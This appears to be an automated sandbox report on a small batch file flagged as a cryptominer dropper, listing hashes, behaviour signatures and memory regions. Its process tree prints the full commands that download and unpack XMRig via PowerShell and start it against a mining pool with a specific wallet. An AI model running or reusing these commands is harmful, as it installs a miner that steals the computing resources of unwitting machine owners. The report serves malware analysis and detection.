Analysis

  • max time kernel
    1794s
  • max time network
    1785s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    22-12-2023 08:52

General

  • Target

    tesy - Copy (4).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:192
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1708
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1804

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    0785584e34d1a40b19baa5740868da2a

    SHA1

    dfde919c659363f6f30cf92437f94726664e67c6

    SHA256

    7bf27fa0158625e1624e17e4a2303d6766d127214a9515afbf3116133a968ccc

    SHA512

    edfa448b43a488b7a9b5401136ec8f00261840a15f2976f6e8060c382df882014ac694958bdc7ada4d0052f1ce270086db06dfec6cdcd466b6223197a35e6348

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g1md3x1k.xj4.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    238KB

    MD5

    a04866058925c5745610ad5f713eb111

    SHA1

    a6625c522fccecacb92f35a29422ca8eda0f50e2

    SHA256

    c155e1c008e3371a3f9d57e54d818cd49e3e91f8ef88ac5f8d10139bd7d6467b

    SHA512

    bddd637cd780497b3bc6ffa76c280e849044965eac867d86789b247f82f971ae2027938af3f1782912ca559c8732196ecd40cb85d6fffe98bcc563845dd253e3

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    126KB

    MD5

    949fef8cf68b9a211c37d53ec3eb9538

    SHA1

    57a2e833c34498ddbc822dd1777609424970e210

    SHA256

    2129a2373b8793b5f768ee882da3e872b76c6a05bf1357f66d8914404f0be9a9

    SHA512

    3fe5f72a880ace8e5489e774367e79e768bbf9dfd2d68a981ca2f2ff47381d268204d18af5bd2612bbb70a17eba4cc41fbc9e4b47e64cf3017c89d257622571a

  • memory/192-25-0x00000201B8410000-0x00000201B8420000-memory.dmp

    Filesize

    64KB

  • memory/192-10-0x00000201B86A0000-0x00000201B8716000-memory.dmp

    Filesize

    472KB

  • memory/192-8-0x00000201B8410000-0x00000201B8420000-memory.dmp

    Filesize

    64KB

  • memory/192-9-0x00000201B8410000-0x00000201B8420000-memory.dmp

    Filesize

    64KB

  • memory/192-7-0x00007FFFE5EC0000-0x00007FFFE68AC000-memory.dmp

    Filesize

    9.9MB

  • memory/192-30-0x00007FFFE5EC0000-0x00007FFFE68AC000-memory.dmp

    Filesize

    9.9MB

  • memory/192-4-0x00000201B83B0000-0x00000201B83D2000-memory.dmp

    Filesize

    136KB

  • memory/1708-39-0x000002B66A360000-0x000002B66A370000-memory.dmp

    Filesize

    64KB

  • memory/1708-36-0x00007FFFE5EC0000-0x00007FFFE68AC000-memory.dmp

    Filesize

    9.9MB

  • memory/1708-62-0x000002B66A360000-0x000002B66A370000-memory.dmp

    Filesize

    64KB

  • memory/1708-89-0x000002B66A5F0000-0x000002B66A5FA000-memory.dmp

    Filesize

    40KB

  • memory/1708-76-0x000002B66A600000-0x000002B66A612000-memory.dmp

    Filesize

    72KB

  • memory/1708-113-0x00007FFFE5EC0000-0x00007FFFE68AC000-memory.dmp

    Filesize

    9.9MB

  • memory/1708-38-0x000002B66A360000-0x000002B66A370000-memory.dmp

    Filesize

    64KB

  • memory/1804-141-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-151-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-118-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-119-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-121-0x000001D8CD060000-0x000001D8CD080000-memory.dmp

    Filesize

    128KB

  • memory/1804-120-0x000001D8CD080000-0x000001D8CD0A0000-memory.dmp

    Filesize

    128KB

  • memory/1804-122-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-123-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-125-0x000001D8CD060000-0x000001D8CD080000-memory.dmp

    Filesize

    128KB

  • memory/1804-124-0x000001D8CD080000-0x000001D8CD0A0000-memory.dmp

    Filesize

    128KB

  • memory/1804-126-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-127-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-128-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-129-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-130-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-131-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-132-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-133-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-134-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-135-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-136-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-137-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-138-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-139-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-140-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-116-0x000001D8CD000000-0x000001D8CD020000-memory.dmp

    Filesize

    128KB

  • memory/1804-142-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-143-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-144-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-145-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-146-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-147-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-148-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-149-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-150-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-117-0x000001D8CD040000-0x000001D8CD060000-memory.dmp

    Filesize

    128KB

  • memory/1804-152-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-153-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-154-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-155-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-156-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-157-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-158-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-159-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-160-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-161-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-162-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-163-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-164-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-165-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-166-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-167-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-168-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-169-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-170-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-171-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-172-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-173-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-174-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-175-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-176-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-177-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-178-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-179-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-180-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-181-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-182-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-183-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB

  • memory/1804-184-0x00007FF7A6330000-0x00007FF7A6E33000-memory.dmp

    Filesize

    11.0MB